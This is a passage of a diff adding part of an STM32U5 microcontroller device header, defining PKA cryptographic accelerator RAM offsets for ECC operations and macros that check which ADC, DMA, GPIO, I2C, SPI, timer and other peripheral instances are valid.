((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC2_NS) || \ + ((INSTANCE) == ADC2_S) || \ + ((INSTANCE) == ADC4_NS) || \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************** COMP Instances with window mode capability **************/ +#define IS_COMP_WINDOWMODE_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S) || \ + ((INSTANCE) == COMP2_NS) || ((INSTANCE) == COMP2_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC2_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_SDMMC2_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI2_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI2_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S) || \ + ((INSTANCE) == OTFDEC2_NS) || ((INSTANCE) == OTFDEC2_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_SRAM5_NS) || ((INSTANCE) == RAMCFG_SRAM5_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S) || \ + ((INSTANCE) == RAMCFG_SRAM6_NS) || ((INSTANCE) == RAMCFG_SRAM6_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM3_NS) || ((INSTANCE) == RAMCFG_SRAM3_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GFXMMU Instances *******************************/ +#define IS_GFXMMU_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GFXMMU_NS) || ((INSTANCE) == GFXMMU_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOF_NS) || ((INSTANCE) == GPIOF_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == GPIOI_NS) || ((INSTANCE) == GPIOI_S) || \ + ((INSTANCE) == GPIOJ_NS) || ((INSTANCE) == GPIOJ_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/****************************** LTDC Instances ********************************/ +#define IS_LTDC_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == LTDC_NS) || ((__INSTANCE__) == LTDC_S)) + +/****************************** DSI Instances ********************************/ +#define IS_DSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DSI_NS) || ((__INSTANCE__) == DSI_S)) + +/******************************* DMA2D Instances *******************************/ +#define IS_DMA2D_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DMA2D_NS) || ((__INSTANCE__) == DMA2D_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S) || \ + ((INSTANCE) == DCACHE2_NS) || ((INSTANCE) == DCACHE2_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S) || \ + ((INSTANCE) == OPAMP2_NS) || ((INSTANCE) == OPAMP2_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S) || \ + ((INSTANCE) == OCTOSPI2_NS) || ((INSTANCE) == OCTOSPI2_S)) + +/******************************* HSPI Instances *******************************/ +#define IS_HSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == HSPI1_NS) || ((INSTANCE) == HSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S) || \ + ((INSTANCE) == SAI2_Block_A_NS) || ((INSTANCE) == SAI2_Block_A_S) || \ + ((INSTANCE) == SAI2_Block_B_NS) || ((INSTANCE) == SAI2_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S) || \ + ((INSTANCE) == SDMMC2_NS) || ((INSTANCE) == SDMMC2_S)) + +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S) || \ + ((INSTANCE) == I2C5_NS) || ((INSTANCE) == I2C5_S) || \ + ((INSTANCE) == I2C6_NS) || ((INSTANCE) == I2C6_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** LPTIM Instances : supporting encoder interface **************/ +#define IS_LPTIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S)) + +/****************** LPTIM Instances : supporting Input Capture **************/ +#define IS_LPTIM_INPUT_CAPTURE_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/****************** TIM Instances : All supported instances *******************/ +#define IS_TIM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting 32 bits counter ****************/ +#define IS_TIM_32B_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) + +/****************** TIM Instances : supporting the break function *************/ +#define IS_TIM_BREAK_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == 